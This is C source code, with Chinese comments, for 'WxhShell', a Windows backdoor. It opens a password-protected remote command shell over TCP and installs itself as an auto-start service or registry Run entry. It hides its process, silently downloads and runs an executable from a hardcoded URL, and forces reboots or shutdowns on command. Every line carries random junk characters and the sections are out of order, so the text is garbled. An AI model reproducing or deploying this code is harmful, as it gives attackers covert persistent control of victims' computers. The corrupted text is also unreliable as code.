  case 'd': { |em_l$oGc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gBgaVG  
    if(Boot(SHUTDOWN)) u<\Sf"fs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?S)Pv53>}  
    else { 4fL>Ou[YuX  
    closesocket(wsh); \J~@r1  
    ExitThread(0); 7CU<R9Kl  
    } FLumI-se!  
    break; &x.5TDB>%  
    } o -x=/b  
  // 获取shell ^6UE/4x!y  
  case 's': { pmUC4=&e  
    CmdShell(wsh); ],<pZ1V;  
    closesocket(wsh); {- &wV  
    ExitThread(0); Np opg1Gv>  
    break; 74A&#ecb{  
  } ~!fOl)F  
  // 退出 skLr6Cs|  
  case 'x': { WD8F]+2O\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jTsQsHq   
    CloseIt(wsh); gfXit$s  
    break; FYaBP;@J%  
    } KjV1->r#  
  // 离开 +nFC&~q  
  case 'q': { fQfd1=4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5'rP-z~ u  
    closesocket(wsh); P1qnU  
    WSACleanup(); p1s& y0:d  
    exit(1); P#KT lH  
    break; mnYzn[d3U  
        } c=B!\J<1  
  } }1Hy[4B(k\  
  }  ~Ctq  
{tXyz[;i1}  
  // 提示信息 Wh?3vZ^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X5)].[d  
} yEL5U{  
  } @vi;P ^1!  
F^DDN7AKH  
  return; bmRp)CYd  
} XJ1<!tl  
Vg`32nRN  
// shell模块句柄 yD^Q&1  
int CmdShell(SOCKET sock) a [BIY&/Q  
{ QlnI&o  
STARTUPINFO si; $=!_ !tr  
ZeroMemory(&si,sizeof(si)); #"JtH"pF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !y;xt?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vcp[$-$QGJ  
PROCESS_INFORMATION ProcessInfo; G $iC@,/  
char cmdline[]="cmd"; V(!-xu1,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 78zwu<ET  
  return 0; D89 (u.h  
} I|P#|0< 2  
;0 9~#Wop  
// 自身启动模式 Q$S|LC  
int StartFromService(void) D14i]  
{ qAVZ&:#  
typedef struct Z&Z= 24q_  
{ w"FBJULzn9  
  DWORD ExitStatus; ^1+=HdN,  
  DWORD PebBaseAddress; :W}M$5|  
  DWORD AffinityMask; X|pOw,"  
  DWORD BasePriority; 3Yf!H-(\uB  
  ULONG UniqueProcessId; S4>1d-  
  ULONG InheritedFromUniqueProcessId; K1|xatx1V  
}   PROCESS_BASIC_INFORMATION; ?wj1t!83  
$s9YU"  
PROCNTQSIP NtQueryInformationProcess; "xMnD(p  
,uhOf! |  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zqGo7;;#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m^YYdyn]M  
Cq%1j[  
  HANDLE             hProcess; OO?BN!  
  PROCESS_BASIC_INFORMATION pbi; _Dg|Iz,Uh  
Pu0O6@Rg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MryY<s  
  if(NULL == hInst ) return 0; 5tu 4uYp;  
Ov~>* [  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qa)Qf,`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9d >AnTf&H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :LMLY<8>9  
6+_qGV  
  if (!NtQueryInformationProcess) return 0; \oV g(J&o  
GPU,.s"&(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hT$/B|  
  if(!hProcess) return 0; CoQ<Ky}*  
2mPU /  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [f@[ gE  
"s rRlu  
  CloseHandle(hProcess); |7E1yu  
 jf~-;2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NR0fxh  
if(hProcess==NULL) return 0; 8\_YP3  
#bdSH)V  
HMODULE hMod; -ZE]VO*F  
char procName[255]; M@78.lPS  
unsigned long cbNeeded; ~BD 80s:f  
ZuVucP>>_d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =MokbK2  
GMYfcZ/,K  
  CloseHandle(hProcess); 3Ay<2v  
-|3feYb'  
if(strstr(procName,"services")) return 1; // 以服务启动 }E](NvCq  
$]S*(K3U ~  
  return 0; // 注册表启动 C:@JLZB  
} H D{2nZT  
VF] ~J=>i  
// 主模块 u(g0Ob  
int StartWxhshell(LPSTR lpCmdLine) t73" d#+  
{ =?gDM[t^  
  SOCKET wsl; B|6_4ry0U  
BOOL val=TRUE; QwgP+ M+  
  int port=0; "1%YtV5R{  
  struct sockaddr_in door; EnnE@BJ"  
6]5e(J{Fz  
  if(wscfg.ws_autoins) Install(); YO`V'6\  
?'r=>'6D  
port=atoi(lpCmdLine); |$a!Zx94^  
H m Z*  
if(port<=0) port=wscfg.ws_port; d{G*1l(X  
We*&\e+"T  
  WSADATA data; *B1%-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0GP\*Y8  
zY&/^^y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qA5PIEvdq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ij9ezNZT=  
  door.sin_family = AF_INET; %[H|3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [BzwQ 4  
  door.sin_port = htons(port); YVS~|4hu?i  
SdQ"S-H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rq_0"A  
closesocket(wsl); t*{BN>B  
return 1; r*XEne  
} q}0xQjpo  
j$jgEtPK9=  
  if(listen(wsl,2) == INVALID_SOCKET) { +_ZXzzcO<  
closesocket(wsl); r\DA&b  
return 1; /yNLFL"  
} }hyl)?*~  
  Wxhshell(wsl); pGdo:L?  
  WSACleanup(); [/IN820t  
yEB1gYJB  
return 0; + tza]r:  
}SZU'lYHoM  
} c6_i~0W56  
IFfB3{J  
// 以NT服务方式启动 U+wfq%Fz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $F/Uk;*d!  
{ yTwtGo&  
DWORD   status = 0; Vp j[)W%L  
  DWORD   specificError = 0xfffffff; <Gkmk?x`A  
z)&ZoSXWc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^7>k:|7-t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hm*?<o9mxC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O[O[E}8#  
  serviceStatus.dwWin32ExitCode     = 0; X4{O/G  
  serviceStatus.dwServiceSpecificExitCode = 0; o1?bqVF;6  
  serviceStatus.dwCheckPoint       = 0; 99tKs  
  serviceStatus.dwWaitHint       = 0; na,i(m?l  
1]% ]"JbV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Ceq@eAlT  
  if (hServiceStatusHandle==0) return; rVF7!|&  
 %kSpMj|  
status = GetLastError(); HyKv5S$  
  if (status!=NO_ERROR) [) S&PK  
{ MWZH-aA(.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O{w'i|  
    serviceStatus.dwCheckPoint       = 0; gyf9D]W  
    serviceStatus.dwWaitHint       = 0; hX&Jq%{oa  
    serviceStatus.dwWin32ExitCode     = status; UK!PMkX  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z.rR)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g6p:1;Evf  
    return; n 0rAOkW  
  } '&42E[0P  
K! I]0!:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `D~wY^q{  
  serviceStatus.dwCheckPoint       = 0;  "yA=Tw  
  serviceStatus.dwWaitHint       = 0; I@jXW>$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,wPvv(b]a  
} ZtPnHs.x  
uk=f /nT  
// 处理NT服务事件,比如:启动、停止 Zm+QhnY|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iz @LS  
{ O/1:2G/`  
switch(fdwControl) I5mtr  
{ W&`{3L  
case SERVICE_CONTROL_STOP: u/>+cT6}  
  serviceStatus.dwWin32ExitCode = 0; NGq@x%T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lz >>{  
  serviceStatus.dwCheckPoint   = 0; s !XJ   
  serviceStatus.dwWaitHint     = 0; <yxy ;o  
  { K 0Gm ?(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Ud6F t6  
  } [ 30ta<-  
  return; yZcnky  
case SERVICE_CONTROL_PAUSE: lZ>j:/R8^&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |O4LR,{G.w  
  break; rf=ndjrH  
case SERVICE_CONTROL_CONTINUE: ZW)_dg9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -gK*&n~  
  break; vn5O8sD  
case SERVICE_CONTROL_INTERROGATE: }$E341@  
  break; yh:Wg$qx  
}; )Lb?ZXT3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2vh@KnNU  
} "f|xIK`c  
wpI_yp  
// 标准应用程序主函数 v_L2>Pa.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K2 b\9}  
{ Uuq*;L  
n3B#M}R  
// 获取操作系统版本 CD:$22*]  
OsIsNt=GetOsVer(); v{c,>]@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3[;fO_R  
ScCA8JgY  
  // 从命令行安装 5zi}O GtXv  
  if(strpbrk(lpCmdLine,"iI")) Install(); V N<omi+4  
jL]Y;T8  
  // 下载执行文件 #Bo3 :B8  
if(wscfg.ws_downexe) { (N[R`LN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /{71JqFis  
  WinExec(wscfg.ws_filenam,SW_HIDE); }8&?  
} o>i@2_r\&H  
 TnXx;v  
if(!OsIsNt) { (mOL<h[)IP  
// 如果时win9x,隐藏进程并且设置为注册表启动 rJ=r_v  
HideProc(); +L U.QI'  
StartWxhshell(lpCmdLine); -Wm'@4bH  
} lv!8)GX|  
else oGvk,mh"(  
  if(StartFromService()) e~P4>3  
  // 以服务方式启动 mIh >8))E  
  StartServiceCtrlDispatcher(DispatchTable);  hSgH;k  
else e]DuV)k&  
  // 普通方式启动 Bj*\)lG<  
  StartWxhshell(lpCmdLine); qac8zt#2 C  
{v>8Kp7_R  
return 0; GJTakhj3  
} `W9~u: F  
;m#_Rj6  
?mn&b G  
57( 5+Zme  
=========================================== =lZtI6tZ  
x +]ek  
=Vat2'>+  
/mG-g%gE  
u ?7^+z  
h-+vN hH  
" 8.ej65r*   
J?"v;.K|hU  
#include <stdio.h> 8Ao-m38  
#include <string.h> ;q&uk -  
#include <windows.h> U uEm{  
#include <winsock2.h> Dt:NBN  
#include <winsvc.h> Iq@&?,W  
#include <urlmon.h> Z_Y' 3'^Tw  
*4OB 88$  
#pragma comment (lib, "Ws2_32.lib") h$l`)AH^  
#pragma comment (lib, "urlmon.lib") T%]@R4z#q  
L}=t"y  
#define MAX_USER   100 // 最大客户端连接数 6`WI S4  
#define BUF_SOCK   200 // sock buffer  WJTc/  
#define KEY_BUFF   255 // 输入 buffer BT^HlW<  
y&L Lx[8 ^  
#define REBOOT     0   // 重启 Fk`|?pQm  
#define SHUTDOWN   1   // 关机 a3J' c  
`MC5_SG 1  
#define DEF_PORT   5000 // 监听端口 3<O=,F  
YkF52_^_  
#define REG_LEN     16   // 注册表键长度 sv)4e)1  
#define SVC_LEN     80   // NT服务名长度 vlC$0P  
I3;03X<2  
// 从dll定义API LbUH`0:%t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p`)Mk<`dYD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C 8KV<k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  h@CP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aIo%~w  
+FH@|~^O  
// wxhshell配置信息 V='A;gs  
struct WSCFG { 9c{T|+ ]  
  int ws_port;         // 监听端口 5;@2SY7 ,  
  char ws_passstr[REG_LEN]; // 口令 js;k,`  
  int ws_autoins;       // 安装标记, 1=yes 0=no  N<~LgH  
  char ws_regname[REG_LEN]; // 注册表键名 6%Pvh- ~_  
  char ws_svcname[REG_LEN]; // 服务名 QB"+B]rV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~A_1he~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3$4I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G * =>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sL)7MtNwy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "EBCf.3-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q9k;PJ`@  
^VsE2CX  
}; WDJ rN  
/BwG\GhM  
// default Wxhshell configuration 1h3`y  
struct WSCFG wscfg={DEF_PORT, 0-:dzf  
    "xuhuanlingzhe", %^l&:\ hy  
    1, R>hL.+l.  
    "Wxhshell", k>F>y|m  
    "Wxhshell", \3T[Cy|5|  
            "WxhShell Service", d >O/Zal  
    "Wrsky Windows CmdShell Service", 89UR w9  
    "Please Input Your Password: ", {~`{bnx^]7  
  1, >02p,W6S>  
  "http://www.wrsky.com/wxhshell.exe", yp]z@SYA@  
  "Wxhshell.exe" J"K(nKXO_?  
    }; g>QN9v})  
w[g`)8Ib  
// 消息定义模块 e)$a;6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _wUg+Xs]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K0|:+s@u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =klfCFwP  
char *msg_ws_ext="\n\rExit."; DD}YbuO7  
char *msg_ws_end="\n\rQuit."; #xw3a<z?u  
char *msg_ws_boot="\n\rReboot..."; K=> j+a5$  
char *msg_ws_poff="\n\rShutdown..."; kG u{[Rh  
char *msg_ws_down="\n\rSave to "; C8%MKNPd  
Mtc  -  
char *msg_ws_err="\n\rErr!"; ]fSpG\yU  
char *msg_ws_ok="\n\rOK!"; e_}tK1XY  
|3BxNFe`%  
char ExeFile[MAX_PATH]; xAr&sGMA  
int nUser = 0; )JhB!P(  
HANDLE handles[MAX_USER]; $!^C|,CS  
int OsIsNt; +5Ju `Z  
U$WGe >,  
SERVICE_STATUS       serviceStatus;  S8O,{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &aPR"X  
]IH1_?HgP7  
// 函数声明 <vt}+uMzXv  
int Install(void); xy4P_  
int Uninstall(void); j!"5, ~  
int DownloadFile(char *sURL, SOCKET wsh); ~9#'s'  
int Boot(int flag); q4g)/x%nc  
void HideProc(void); K%UjPzPWw  
int GetOsVer(void); XB]>Z)  
int Wxhshell(SOCKET wsl); +zK?1llt  
void TalkWithClient(void *cs); &t6:1T  
int CmdShell(SOCKET sock); :mhO/Bx  
int StartFromService(void); N]-skz<v  
int StartWxhshell(LPSTR lpCmdLine); >z7 3uKA(  
R&Ss ET.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <{i1/"k?X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Js^(mRv=  
Zr(eH2}0D  
// 数据结构和表定义 eQ*zi9na  
SERVICE_TABLE_ENTRY DispatchTable[] = "q KVGd  
{ rDGrq9  
{wscfg.ws_svcname, NTServiceMain}, JAy-N bb\  
{NULL, NULL} o .V JnrJ  
}; n. vrq-  
:3{n(~  
// 自我安装 F`1J&S;C  
int Install(void) 39L_O RMH  
{ qMw_`dC  
  char svExeFile[MAX_PATH]; ;]k\F  
  HKEY key; tJ .Ln  
  strcpy(svExeFile,ExeFile); Z29LtKr  
! F<::fN  
// 如果是win9x系统,修改注册表设为自启动 7g:Lj,Z4L  
if(!OsIsNt) { -@@ O<M^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 53>(2 _/[r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <d O ~;  
  RegCloseKey(key); LI<Emez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G8'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ab`9MJc;  
  RegCloseKey(key); 5!aI~(3<  
  return 0; ~[=d{M!$W  
    } D=K{(0{"/,  
  } G @EEh.s9  
} AR{$P6u!%|  
else { O* lE0~rJ  
IC1nR u2I  
// 如果是NT以上系统,安装为系统服务 DXQ]b)y+N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z#lIu  
if (schSCManager!=0) *=tA},`\7  
{ y6Ez.$M  
  SC_HANDLE schService = CreateService LW#U+bv]Dq  
  ( +S'm<}"1  
  schSCManager, 8_pyfb  
  wscfg.ws_svcname, nJ$2RN  
  wscfg.ws_svcdisp, TpI8mDO\W  
  SERVICE_ALL_ACCESS, C-g,uARX(r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z<QNzJ D  
  SERVICE_AUTO_START, pH(X;OC 9S  
  SERVICE_ERROR_NORMAL, s p+'c;a  
  svExeFile, Jp|eKZ  
  NULL, %Y,Ru)5}  
  NULL, E)wf'x  
  NULL, PXML1.r$Q  
  NULL, e,d}4 jy  
  NULL @|s$ :;(=  
  ); :yTr:FoF  
  if (schService!=0) }R%*J  
  { 5,-:31(j\  
  CloseServiceHandle(schService); MNp4=R  
  CloseServiceHandle(schSCManager); AMASh*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KzQFG)q,  
  strcat(svExeFile,wscfg.ws_svcname); XN{WxcZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CugZ!>;^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?9>wG7cps7  
  RegCloseKey(key); ]68 FGH  
  return 0; .jiJgUa7  
    } ] ^?w0A  
  } C6Cr+TScH  
  CloseServiceHandle(schSCManager); Ikw.L  
} d[  _@l  
} 0g HV(L?  
lr?SL\D  
return 1; w#ZzmO  
} sLFZ 61rT  
M8$e MS1  
// 自我卸载 4* I XBi7%  
int Uninstall(void) h<bhH=6~  
{ ~gHn>]S0  
  HKEY key; P00%EB  
G/#m. =t  
if(!OsIsNt) { Vbe@S?u-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j@Pd" Z9  
  RegDeleteValue(key,wscfg.ws_regname); 7GS 4gSd3  
  RegCloseKey(key); 1hSV/%v_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PKC0Dt;F.  
  RegDeleteValue(key,wscfg.ws_regname); VMe  
  RegCloseKey(key); n-{d7haOa  
  return 0; x+ER 3wDD@  
  } 2-jXj9kp`  
} 7WY~v2SDF  
} B#+n$5#FK  
else { +-9-%O.(;  
D u T6Od/f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sv!v`zh  
if (schSCManager!=0) ?k($Tc&Q  
{ !YI<A\P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o!U(=:*b  
  if (schService!=0) UFu0{rY_  
  { r=SC bv  
  if(DeleteService(schService)!=0) { >`/s+V  
  CloseServiceHandle(schService); &:u3-:$:9  
  CloseServiceHandle(schSCManager); #I*{_|}=  
  return 0; 9Kg yt  
  } *SIYZE'  
  CloseServiceHandle(schService); Vh2uzG  
  } x*RSD,3  
  CloseServiceHandle(schSCManager); 7l[ @c|e  
} i$`o,m#  
} 12?!Z  
wa{!%qu5.R  
return 1;  +a%D+  
} {MyI3mvA  
5k9 vYW5k  
// 从指定url下载文件 %NJ0 Y(:9(  
int DownloadFile(char *sURL, SOCKET wsh) G-|c%g!ejf  
{ GAZRQ  
  HRESULT hr; 4;3Vc%  
char seps[]= "/"; GB<.kOGQ[  
char *token; { Ie~MW  
char *file; Di27=_J  
char myURL[MAX_PATH]; d*VvQU8C  
char myFILE[MAX_PATH]; ryw%0H18  
!#WQ8s!?o  
strcpy(myURL,sURL); JM?__b7g2  
  token=strtok(myURL,seps); aG#d41O  
  while(token!=NULL) VzIZT{  
  { HY1K(T  
    file=token; 8x LXXB  
  token=strtok(NULL,seps); x}Lj|U$r<X  
  } < W`gfpzO  
pL} F{G.  
GetCurrentDirectory(MAX_PATH,myFILE); g|->W]q@;  
strcat(myFILE, "\\"); J~4mp\4b  
strcat(myFILE, file); rx 74v!  
  send(wsh,myFILE,strlen(myFILE),0); 9S[.ESI{>  
send(wsh,"...",3,0); kB=B?V~#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >)='.aR<  
  if(hr==S_OK) <8Tp]1z  
return 0; (aC=,5N  
else j|`lOH8  
return 1; 5uahfJk  
%'_:#!9  
} ;%(sbA  
HRrR"b9:  
// 系统电源模块 K3`!0(  
int Boot(int flag) l4.ql1BX@y  
{ = $^90Q,Z;  
  HANDLE hToken; }*}F_Y+  
  TOKEN_PRIVILEGES tkp; ::'Y07  
~piE$"]&  
  if(OsIsNt) { !bCL/[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =nc;~u|]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M!mw6';k  
    tkp.PrivilegeCount = 1; K(lSR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O cPgw/ I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  H!hd0.  
if(flag==REBOOT) { Bq HqS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) | 4}Y:d  
  return 0; %4F\#" A  
} \`["IkSg7  
else { hmOGteAf-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J Eo;Fx]  
  return 0; vnVT0)Lel  
} Mzg P@tB  
  } "S6";G^I  
  else { V|B4lGS&  
if(flag==REBOOT) { Zi7cp6~7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OIpT9  
  return 0; ~@ PD\  
} VF";p^  
else { +Ek1~i.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9W]OtSG  
  return 0; I= <eCv  
} WQ8 "Jj?k6  
} vqQ)Pu?T  
:[(%4se  
return 1; v0! 1W  
} \}W3\To_  
T?d}IDv1  
// win9x进程隐藏模块 cN?/YkW?]  
void HideProc(void) %+,*$wk#*  
{ PN 8#T:E  
7NWkN7:B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sR83e|4I  
  if ( hKernel != NULL ) _->+Hjj ^  
  { c/^jD5U7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  $RRX-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }N(gP_?n  
    FreeLibrary(hKernel); %C qp88]  
  } );JWrkpz  
Qc?W;Q+  
return; p%sizn  
} %kop's&?C  
Iy4%,8C]g  
// 获取操作系统版本 O$e"3^Pa  
int GetOsVer(void) ",vK~m2W_  
{ z80FMulO  
  OSVERSIONINFO winfo; Ee7+ob  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vk X+{n  
  GetVersionEx(&winfo); 0L8fpGJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k+?gWZ \  
  return 1; GiM-8y~  
  else 7%? bl  
  return 0; FvPWS!H  
} +swTMR  
V>Z4gZp5sc  
// 客户端句柄模块 SpU|Q1Q/h  
int Wxhshell(SOCKET wsl) :Z2997@Y  
{ @#N7M2/  
  SOCKET wsh; PWx%~U.8~j  
  struct sockaddr_in client; ;n*|AL7(  
  DWORD myID; sF[gjeIb  
X])iQyN  
  while(nUser<MAX_USER) Nb !i_@m%s  
{ <bo)p6S&  
  int nSize=sizeof(client); v6=%KXSF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o8<~zeI  
  if(wsh==INVALID_SOCKET) return 1; KN657 |f  
'NCqI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gds(.]_  
if(handles[nUser]==0) & C)1(  
  closesocket(wsh); ,lvG5B\0  
else :2==7u7v?  
  nUser++; ^t7u4w!  
  } B|"i`{>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i.Y2]1  
BLaNS4e  
  return 0; zng.(]U/?H  
} ovM;6o  
/J_ ],KdU  
// 关闭 socket zT6nC5E  
void CloseIt(SOCKET wsh) =M*pym]QSY  
{ nr -< mQ  
closesocket(wsh); !DSm[Z1  
nUser--; 82EvlmD  
ExitThread(0); D QxuV1  
} 1Hr1Ir<KR  
7 rRI-wZ  
// 客户端请求句柄 f"j9C% '*  
void TalkWithClient(void *cs) 1_f+! ns#  
{ Udtz zka  
ElB[k<  
  SOCKET wsh=(SOCKET)cs; c"lwFr9x7  
  char pwd[SVC_LEN]; T"za|Fo  
  char cmd[KEY_BUFF]; W3>9GY90R  
char chr[1]; V-go?b`  
int i,j; F09%f"9  
"h[)5V{  
  while (nUser < MAX_USER) { fvH{ va.  
R59iuHQ[  
if(wscfg.ws_passstr) { m^qFaf)6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K`9~#Zx$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =_C&lc"  
  //ZeroMemory(pwd,KEY_BUFF); 4D<C;>*/b  
      i=0; u1y>7,Z6W  
  while(i<SVC_LEN) { 8/tB?j  
#'> )?]tn  
  // 设置超时 Bx5xtJ|!  
  fd_set FdRead; +3-5\t`  
  struct timeval TimeOut; X,3\c:  
  FD_ZERO(&FdRead); \ZV>5N3hS  
  FD_SET(wsh,&FdRead); $3p48`.\  
  TimeOut.tv_sec=8; 9^n0<(99b  
  TimeOut.tv_usec=0; ]*k ~jY,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .4"BN<9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D>W&#A8&y  
80Fa i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \yw5`5g  
  pwd=chr[0]; %Y;^$%X%_  
  if(chr[0]==0xd || chr[0]==0xa) { d1c+Ii%  
  pwd=0; X=m^+%iD  
  break; J Hm Pa  
  } $},XRo&R  
  i++; }`QZV_  
    } KyVzf(^  
BRY/[QRqZ  
  // 如果是非法用户,关闭 socket `|AH3v1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tR<#CCtRp'  
} 0vSPeZ  
}1k?th  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *Us}E7/"'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3$YbEl@#  
0<@['W}G  
while(1) { \rUKP""m  
8VQ!&^9!U#  
  ZeroMemory(cmd,KEY_BUFF); 5;/q[oXI  
-A<@Pg  
      // 自动支持客户端 telnet标准   7"aN7Q+EbI  
  j=0; &gS-.{w "  
  while(j<KEY_BUFF) { N.z2eo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _)= e`9%  
  cmd[j]=chr[0]; mCg^Y)Q  
  if(chr[0]==0xa || chr[0]==0xd) { ,@;|+C  
  cmd[j]=0; 4<UAT|L^`  
  break; qCrpc=  
  } lv!j  
  j++; T>(X`(  
    } v8 =#1YB;  
vO9=CCxvq  
  // 下载文件 Y0lLO0'  
  if(strstr(cmd,"http://")) { >S}X)4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hwe6@T.#  
  if(DownloadFile(cmd,wsh)) 7Rtjm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @o?Y[BR  
  else 7.G"U  
